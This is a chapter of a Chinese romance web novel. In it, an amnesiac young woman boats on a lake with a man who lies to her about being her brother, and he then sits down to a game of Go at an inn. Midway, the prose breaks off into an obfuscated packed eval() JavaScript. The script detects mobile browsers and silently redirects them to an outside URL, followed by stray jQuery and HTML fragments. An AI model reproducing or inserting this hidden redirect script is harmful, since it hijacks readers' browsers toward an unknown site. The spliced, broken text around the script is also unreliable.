仿佛是上天听到了温逐月的出游愿望,庐江连续下了五日的雨后,终于放晴了。
温逐月在第六日终于如愿,欣然出游。
裴扬雨对出门游玩没有太大的兴致,但看温逐月大约真是被闷坏了,踏出家门,欢欣的表情怎样也藏不住。裴扬雨脸上的神色虽然依旧冷冷淡淡,却没有开口说些扫兴的话坏了她的兴致。
因着往来穿梭的游人,马车不便再往前行,最后还是在不远处的小路停下了。
难得雨后初晴,庐江城上下的人似乎都被这场雨闷坏了,不顾外头毒辣的太阳,三三两两,成群结队相伴出游。驻足停下,一张张年轻朝气的面孔竟比那湖边的花草更为引人。
温逐月今日穿了浅云色的褙子,里面衬着一条樱色的长裙。走一步路,裙裾随风飘起,恍若池子里悄然开放的睡莲,淡雅怡人却美得让人挪不开眼睛。
裴扬雨一向低调,平日里不爱穿鲜色的衣裳,今日出游穿的是一件雪灰色的宽袖长袍,与温逐月走在一道,倒是有种说不上来的浓淡相和,无需做什么,二人只是静静往前走,便是一幅不可多得的才子佳人图。
温逐月上一回见到这么多人,还是在上元灯会上,看着沿路摆卖的摊贩,擦肩而过的游人,心里觉得亲切得要紧,看什么也觉得新鲜。
在两侧开满鲜花的道上走走停停玩了一阵,温逐月又沿着这条路一路向前行,终于看清了千泉湖的模样。
放眼望去,满眼都是碧绿的颜色。湖水如同明镜一般清亮,湖面上有几艘小船划过,伴着和煦的春风,缓缓荡起涟漪,映着四周的花红柳绿,确实多了几分诗情画意的韵味。
温逐月看见小船从不远处的水面漂过,心里也痒痒的,央着裴扬雨一道去游湖。
“娘子大约是忘了,郎君的肩膀伤了,划船使不上力气。”竹声反对的声音比裴扬雨的答话来得更快。
温逐月瞥了他一眼,“竹声,等会定然有船家同我们一道又不需要兄长划船使力。这不行,那不准的,出来玩还有什么意思。”
竹声被她的话噎住,自知自己有些逾越无礼了,便过头去不再说话。
裴扬雨见她起了兴致,想着难得出游,便答应了同她一道去游湖。
在船上坐稳后,船家便划动船桨,将船只带离岸边,缓缓朝湖心滑去。
温逐月起了玩心,将手掌覆在水面上。湖水凉凉的,水的波纹从她的指尖穿过再没过她的指节,却并不透骨,或许是被太阳晒过的缘故,浸了一会儿,温逐月反倒觉得掌心有些暖。
裴扬雨见温逐月半个身子就快要探出去,赶紧拉了她一把,“仔细别将手泡得发白了,快些用帕子将手上的水擦干净。”
温逐月从袖子里掏出帕子擦了擦又扭头问他:“兄长,你以前是不是不常带我出来玩?”
裴扬雨微愣道:“怎么突然这么问?”
温逐月也说不上来,只觉得心中有种怪异的感觉,“我们自小在庐江长大,我合该对千泉湖很熟悉才是。可这里的一切让我觉得新鲜又陌生,像是之前从未来过一般。”
裴扬雨宽袖遮面,轻咳一声:“我,我从前带你来过几次,或许是你的记忆还未复原,想不起来,所以觉得看什么什么都新鲜。”
温逐月蹙眉问:“真的吗?”
裴扬雨极不自然地点头,飞快躲避她的视线,“那是自然,这些事,你日后慢慢就会想起来了。”
“可已经过了这么久了,我的脑子还是一片空白,还是什么也想不出来。”温逐月忽而有些懊恼。
裴扬雨的呼吸一滞,连带着袖子也攥紧在手中,“大夫说过,你这病急不得,要慢慢修养一些时日,才会有些起色。你不要将自己逼得太紧了,或许,再过不了几日,你便会慢慢想起从前了。”
“就算,就算是你一辈子都想不起来,你也是我的妹妹。”
温逐月似乎没有因为他的宽慰而得到开解,她垂下头,眼里难掩落寞,“可是,没有人愿意抛弃前尘,脑袋空空地将余下的日子过下去。我好奇从前我是个什么样的人?”
“我好奇从前同兄长是如何相处的?我好奇我们爹娘长什么模样?可是,这些我都想不起来了。”
裴扬雨的心猛地刺痛,就像是遭了一记雷击,他顺势捂住心口,面上的血色顷刻褪去了。
温逐月察觉到裴扬雨的异样,即刻上前扶住他,“可是伤口又疼了?”
裴扬雨缓了缓,摇摇头:“没事,是伤口突然发痒又不能缓解,觉得有些难受罢了。”
见竹声和兰影也要走过来,他朝他们摆摆手,做了一个“我没事”的口型。
好在这一痛,分散了温逐月的注意力,嘴上不再提及记忆复原的事了,裴扬雨总算是松了一口气,只是他不知道,这一骗,还能再骗多久。
船只缓缓朝岸边停靠后,裴扬雨心中还是飘忽不定。回头见温逐月已经上了岸,朝他伸手想要拉他一把。
裴扬雨犹豫片刻还是决意将手搭在她的手腕上借力,大步往前一迈,便稳稳地上了岸。只是收回手时,觉得掌心发烫,像是被火烧过一般。
竹声在后面看得胸口发闷,反倒是一旁的兰影乐见其成,只是静静地笑着看他们。
“兰影,你这个叛徒,你居然能忍受她接近主君。”竹声有些生气但在他们背后也只敢小声控诉兰影。
兰影摊了摊手问他:“主君和温娘子不正像天底下的兄妹一般吗?守兄妹之礼,尽显兄妹之间的关心爱护,又没有过分逾矩的表现,主君都没说什么,反倒是你在这里着急上火了。”
“他们二人是兄妹又不是夫妻,你心里头不痛快什么?”
竹声被堵得哑口无言,觉得兰影说的确实在理。虽然温逐月眼下看着是个好心肠的小娘子,可竹声心里还是膈应她与云山寨的关系。
现下虽谈不上开始那么讨厌她了,但是心底还是不愿裴扬雨与她过多接触。如今静心想想,自己似乎有些过于苛求她了。
见竹声心里头还是纠结,兰影索性越过他,朝岸上的裴扬雨和温逐月道:“郎君,娘子,来时我看见这附近有一间酒楼,人来人往的,生意还不错,里面的菜定然也不会差。郎君和娘子玩了这么久,想来也累了,不如先到里面去吃饭?”
裴扬雨点点头,“也好,玩了一阵了,我确实也有些饿了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229389|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一行人在酒楼找了个包厢坐下后,兰影便依着裴扬雨和温逐月平日的口味点好了菜。
菜上齐后,竹声盛好了一碗鱼羹,递到温逐月的面前。温逐月以为他是要让她递给裴扬雨,便又端起碗移到裴扬雨面前。
竹声看上去似有些别扭,艰难从嘴里挤出几个字,“娘子,这碗鱼羹是盛给你的。郎君现下伤口正在愈合,吃不得鱼。”
温逐月惊觉他对自己态度的转变,问道:“竹声,莫不是外面的太阳太毒辣,把你晒晕了罢?”
竹声板起脸,“娘子若是不想喝便不喝了,没必要这样挖苦我,我对待郎君和娘子一向是一样的,不分彼此。”
兰影在身后轻哧一笑,到底还是没有拆穿他。
温逐月瞬间明白了竹声这是向她示好。主仆一路,竹声的脾性看起来真是与裴扬雨差不了多少。
最后弯弯唇角朝他笑了笑:“竹声,我喝,谢谢你。”
裴扬雨没什么胃口,只尝了一碗醇厚的素胭脂,夹了几口菜便停筷了。温逐月出了些薄汗,被酸甜的醋鱼勾起了胃口后,将桌上的菜都尝了好几遍。
结账时,温逐月看见身后的桌子前,围了三三两两的人,走过去一看,看见是有人摆了棋局在此对弈。
端坐在左侧的年轻男子的脸庞轮廓分明,一双眼睛干净发亮,旁若无人地盯着棋盘上纵横的黑子白子。蹙眉片刻后又利索从棋盒里捏起一枚棋子,果断地按在棋盘上。
突然,身旁人的叫好声打破了方才的寂静,只见那位样貌出众的男子朝对手微微低头:“承让了。”
对面的人还未反应过来,不过棋局已定,最后也只能回礼,将手中的银子放在桌上,灰溜溜离开了。
温逐月看得眼睛发亮,同身旁的人一道赞叹他的好棋艺。
获胜的男子注意到边上站了位小娘子,蓦然对上她投来夸赞的目光,不由得问:“娘子可有与我对弈的兴致?”
身旁的人见温逐月长得美,眼神又清亮,知道她是涉世未深的小娘子,于是好心地提醒她一句:“这位娘子,我劝你还是不要出这个风头了,这位郎君在这里坐了一个早上了,少说也与五个人对弈过了,也不见有人能赢他。”
“你可别看这位郎君斯斯文文的,下起棋来,定然不会怜香惜玉,肯定会将你杀个片甲不留。”
温逐月慌忙解释:“诸位误会了,我棋艺不精,哪能成为对手?我只是与诸位一样,赞叹这位郎君的好棋艺。”
“战无不胜?有意思,既然如此,我倒是想这位郎君过过招。”身后的裴扬雨听了看客对他的追捧,觉得实在是有些夸大其词了。
来庐江好些时日了,他还没找到一个相称的对手。许久未下棋了,心思一被勾起,手倒是有些发痒。
见裴扬雨在长凳上坐下,温逐月低声道:“兄长,他赢了一早上了,肯定已经杀红了眼,现下你撞上去,怕是会被他的气势压倒,不然还是算了。”
“执棋无悔,我自认为我对棋子的把控不算太差。”裴扬雨捏起棋盒里的棋子,已然换了一副沉静的面容。
对座的年轻男子朝他颔首:“那便开始罢。”